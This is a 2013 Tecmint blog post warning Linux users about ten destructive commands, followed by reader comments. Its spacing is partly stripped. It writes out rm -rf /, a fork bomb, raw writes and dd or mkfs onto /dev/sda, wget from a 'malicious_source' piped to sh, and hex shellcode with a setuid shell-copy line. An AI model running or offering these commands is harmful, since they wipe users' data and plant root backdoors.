21.11.

2014

10 Most Dangerous Commands - You Should Never Execute on Linux

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10MostDangerousCommandsYouShouldNeverExecuteon
Linux
ByAvishekKumarUnder:LinuxCommandsOn:November21,2013
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Linuxcommandlineisproductive,usefulandinterestingbutsometimesitmaybeverymuchdangerous
speciallywhenyouarenotsurewhatyouaredoing.ThisarticleisnotintendedtomakeyoufuriousofLinuxor
Linuxcommandline.Wejustwanttomakeyouawareofsomeofthecommandswhichyoushouldthink
twicebeforeyouexecutethem.

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10 Most Dangerous Commands - You Should Never Execute on Linux

10DangerousLinuxCommands

1.rmrfCommand
Thermrfcommandisoneofthefastestwaytodeleteafolderanditscontents.Butalittletypoorignorance
mayresultintounrecoverablesystemdamage.Thesomeofoptionsusedwithrmcommandare.
1. rmcommandinLinuxisusedtodeletefiles.
2. rmrcommanddeletesthefolderrecursively,eventheemptyfolder.
3. rmfcommandremovesReadonlyFilewithoutasking.
4. rmrf/:Forcedeletionofeverythinginrootdirectory.
5. rmrf*:Forcedeletionofeverythingincurrentdirectory/workingdirectory.
6. rmrf.:Forcedeletionofcurrentfolderandsubfolders.
Hence,becarefulwhenyouareexecutingrmrfcommand.Toovercomeaccidentaldeleteoffilebyrm
command,createanaliasofrmcommandasrmiin.bashrcfile,itwillaskyoutoconfirmevery
deletion.

2.:(){:|:&}:Command
Theaboveisactuallyaforkbomb.Itoperatesbydefiningafunctioncalled:,whichcallsitselftwice,oncein
theforegroundandonceinthebackground.Itkeepsonexecutingagainandagaintillthesystemfreezes.
:(){:|:&};:

3.command>/dev/sda
Theabovecommandwritestheoutputofcommandontheblock/dev/sda.Theabovecommandwritesraw
dataandallthefilesontheblockwillbereplacedwithrawdata,thusresultingintotallossofdataontheblock.

4.mvfolder/dev/null
Theabovecommandwillmovefolderto/dev/null.InLinux/dev/nullornulldeviceisaspecialfilethat
discardsallthedatawrittentoitandreportsthatwriteoperationsucceed.
# mv /home/user/* /dev/null

TheabovecommandwillmoveallthecontentsofaUserdirectoryto/dev/null,whichliterallymeans
everythingtherewassenttoblackhole(null).
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10 Most Dangerous Commands - You Should Never Execute on Linux

5.wgethttp://malicious_sourceO|sh
Theabovecommandwilldownloadascriptfromamalicioussourceandthenexecuteit.Wgetcommandwill
downloadthescriptandshwillexecutethedownloadedscript.
Note:Youshouldbeverymuchawareofthesourcefromwhereyouaredownloadingpackagesandscripts.
Onlyusethosescripts/applicationswhichisdownloadedfromatrustedsource.

6.mkfs.ext3/dev/sda
Theabovecommandwillformattheblocksdaandyouwouldsurelybeknowingthatafterexecutionofthe
abovecommandyourBlock(HardDiskDrive)wouldbenew,BRANDNEW!Withoutanydata,leavingyour
systemintounrecoverablestage.

7.>file
Theabovecommandisusedtoflushthecontentoffile.Iftheabovecommandisexecutedwithatypoor
ignorancelike>xt.confwillwritetheconfigurationfileoranyothersystemorconfigurationfile.

8.^foo^bar
Thiscommand,asdescribedinour10LesserKnownLinuxCommands,isusedtoeditthepreviousrun
commandwithouttheneedofretypingthewholecommandagain.Butthiscanreallybetroublesomeifyou
didnttooktheriskofthoroughlycheckingthechangeinoriginalcommandusing^foo^barcommand.

9.ddif=/dev/randomof=/dev/sda
Theabovecommandwillwipeouttheblocksdaandwriterandomjunkdatatotheblock.Ofcourse!Your
systemwouldbeleftatinconsistentandunrecoverablestage.

10.HiddentheCommand
Thebelowcommandisnothingbutthefirstcommandabove(rmrf).Herethecodesarehiddeninhexsothat
anignorantusermaybefooled.Runningthebelowcodeinyourterminalwillwipeyourrootpartition.
Thiscommandhereshowsthatthethreatmaybehiddenandnotnormallydetectablesometimes.Youmustbe
awareofwhatyouaredoingandwhatwouldbetheresult.Dontcompile/runcodesfromanunknownsource.
char esp[] __attribute__ ((section(.text))) /* e.s.p
release */
= \xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68
\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99
\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7
\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56
\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31
\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69
\x6e\x2f\x73\x68\x00\x2d\x63\x00
cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;;

Note:DontexecuteanyoftheabovecommandinyourLinuxterminalorshellorofyourfriendorschool
computer.Ifyouwanttotestthem,runtheminvirtualmachine.Anyinconsistenceordataloss,duetothe
executionofabovecommandwillbreakyoursystemdownforwhich,neithertheAuthorofthearticlenor
Tecmintisresponsible.
Thatsallfornow.Iwillsoonbehereagainwithanotherinterestingarticleyoupeoplewilllovetoread.Till
thenStaytunedandconnectedtoTecmint.IfyouknowanyothersuchDangerousLinuxCommandsandyou
wouldlikeustoaddtothelist,pleasetellusviacommentsectionanddontforgottogiveyourvalueable
feedback.
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Bio

10 Most Dangerous Commands - You Should Never Execute on Linux

LatestPosts

AvishekKumar
Iamamajorincomputerscience,lovetoresearchnix.Ilovetowritecodesandscripts,
reviewdistros,experimentFossTechnologies,writetechnicalarticles,Hack,ofcourse
Ethically.IamworkingasSystemAdministrator(nix)foraNGO.

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PreviousPost
10LesserKnownCommandsforLinuxPart3
NextPost
10LesserKnownEffectiveLinuxCommandsPartIV

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6. 10Usefuldu(DiskUsage)CommandstoFindDiskUsageofFilesandDirectories

16Responses

1.

areafiddyonesays:
November21,2013at9:19pm
Youcantbeserious.Thisismorelikeahowtoguidethanawarning.
Reply

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2.

10 Most Dangerous Commands - You Should Never Execute on Linux

FelipeAlcacibarsays:
November22,2013at4:04am
Whataboutkillall5
Reply
AvishekKumarsays:
December4,2013at4:27pm
@FelipeAlcacibar:)
Reply

3.

Tomiksays:
November22,2013at10:34pm
AboutNo.9.howlongtimeitwillbefor500GBHDD.IwouldlikewipeoutmyHDDwhenIwill
changemyoldercomputertonewerone,andIwouldliketouseitfordeletealldataonthatHDD.So
nobodycouldreaditandafterreformatingthatHDDwillbestillusable.
Anditshouldbestartfromterminalafterstartsystem?OrIshouldchroottoit?
Thxforanswers..Ididntdothis,neverbutIwouldliketouseitinnearfuture.Haveaniceday.
Reply
Rubbermansays:
December3,2013at6:41am
Iusethiscommand(#9)towipeadrive,anditcantakealongtime.Ihavefoundthataddingthe
optionbs=1M(blocksize==1MB)helps(thedefaultwritesizeis,Ithink,64KB).Biggerthanthat
Ihaventfoundhelpsmuch.Lesstakeslonger.
Thatsaid,caveatuser!IfyouusethewrongdeviceID,youcanbeinserioustrouble,kindoflike
running(asroot)rmrf*whenyouareintherootofthefilesystem:)Ivedonethat,and
thentookacoupleofdaystorecovermydataIonlyneededtodoitoncetolearnmylesson!
Reply
AvishekKumarsays:
December4,2013at4:21pm
Thanks@Rubbermanforyourconcern.
Reply

4.

saniasays:
November28,2013at1:36am
Seriously?Areyoumakingallthisup?
Howcanoneevencomeupwithsomehtinglikeno.5.Also,no.6isjustaparticularcaseofmkfs.XYZ.
Andhowno.9issaferthanddif=/dev/zeroof=/dev/sda?BTW,Iuseno.7allthetimewhenIneedto
eraseafile.Thereforethefollowingsentencedoesntmakemuchsensetome:

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10 Most Dangerous Commands - You Should Never Execute on Linux

Note:DontexecuteanyoftheabovecommandinyourLinuxterminalorshellorofyourfriendor
schoolcomputer.
Regards
Reply
AvishekKumarsays:
December4,2013at4:23pm
@sania,ifyoudidthat,anditwasokwithyou,nevermeansyouwereright.Therearealotof
relativenewusersandrememberanyonecancommitmistake,onemistakeandyouarelost.
Reply
5.

yksoft1says:
December8,2013at10:36am
Thelastoneseemedtobex86only
Reply

6.

JPerformersays:
December16,2013at12:14am
Avishek,
doyourememberfor(old)dangerousUnixcommandyes?
please,trythisfromcommandline(withoutquotas):
yes>/dev/null|&
Julius
AGNICOLISlovakia
Reply

7.

JzeetMachinatesays:
July27,2014at10:21am
Ihavebeenaskedtoprint6th,7thand8thline.Iftherea10linesinthefile.OnlyusingtheHEAD
command.Wecanuseheadcommandnotmorethan3times.
Soonecananswerme.Illbeverythankfultoone.!!
ThankYou.!!
Reply

8.

Rajusays:
August21,2014at10:00pm
@JzeetMachinate
Iamalearnerinscriptingjustihavetriedforsolutionanditsworked
catfilename|head7|tail3

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10 Most Dangerous Commands - You Should Never Execute on Linux

butwhenicheckedthegoogleithasmanysolutiontoprintthelines
ex:sedawk
Thanks
Reply
9.

Rajusays:
August21,2014at10:02pm
@Avishek,
Itsveryuseful:)
Reply
AvishekKumarsays:
August23,2014at3:14pm
@Raju
Goodtoknowthat.
Reply

10.

#chmodR000/says:
November8,2014at9:08pm
#chmodR000/
Reply
AvishekKumarsays:
November10,2014at5:29pm
$touchtest
$lsltest
rwrr1aviavi0Nov1017:21test
$chmodR000test
$lsltest
1aviavi0Nov1017:21test
Itisbasicallychangingfilemodebits.Thereseemsnoreasontoincludetheabovecommandunder
DangerousLinuxCommands
Reply

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